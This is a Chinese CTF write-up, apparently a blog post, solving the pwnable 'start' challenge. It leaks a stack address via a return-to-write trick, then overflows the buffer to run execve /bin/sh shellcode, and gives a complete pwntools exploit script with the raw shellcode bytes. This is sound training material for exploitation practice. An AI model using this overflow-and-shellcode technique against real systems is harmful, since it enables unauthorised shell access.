【pwn】pwnable_start --只有read和write函数的getshell

首先查一下程序的保护情况

保护全关!!!

然后看ida逻辑

ida的结果很简洁,只有一段汇编代码,我们再来看看nc情况

现在我们来分析一下汇编代码

 mov     ecx, esp                        ; addr
.text:08048089 B2 14                         mov     dl, 14h                         ; len
.text:0804808B B3 01                         mov     bl, 1                           ; fd
.text:0804808D B0 04                         mov     al, 4
.text:0804808F CD 80                         int     80h                             ; LINUX - sys_write
.text:0804808F
.text:08048091 31 DB                         xor     ebx, ebx
.text:08048093 B2 3C                         mov     dl, 3Ch ; '<'
.text:08048095 B0 03                         mov     al, 3
.text:08048097 CD 80                         int     80h                             ; LINUX -
.text:08048097
.text:08048099 83 C4 14                      add     esp, 14h
.text:0804809C C3                            retn

这里就是用系统调用了read函数和write函数,然后看这个,写入地址都是esp,然后再根据add     esp, 14h可以发现偏移是0x14

这里的我是考虑用shellcode打,但是我们得有一个地方写入shellcode,也就是说我们得知道写入shellcode的地址

一开始看这段汇编代码,其实并没有可以泄露栈地址的地方,我们动调看一下

可以发现返回地址下面有存着栈地址,我们可以将它泄露出来

io.recvuntil(b"CTF:")

addr=0x8048087

payload=b'a'*0x14+p32(addr)

io.send(payload)

stack_addr=u32(io.recv(4))

首先0x8048087是上面08048087 89 E1                         mov     ecx, esp 的地址,该payload的目的其实就是跳回来再执行write函数,只不过此时的esp已经发生了变化,此时esp指向的内容就是上面标记的栈地址

shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode

io.send(payload)

io.interactive()

 接着我们再次来到read函数,往栈上写入shellcode,然后继续构造payload,控制程序跳转到shellcode处进行getshell

完整exp:

io.recvuntil(b"CTF:")

addr=0x8048087

payload=b'a'*0x14+p32(addr)

io.send(payload)

stack_addr=u32(io.recv(4))

print(hex(stack_addr))

shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

payload=b'a'*0x14+p32(stack_addr+0x14)+shellcode

io.send(payload)

io.interactive()

  • 16
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值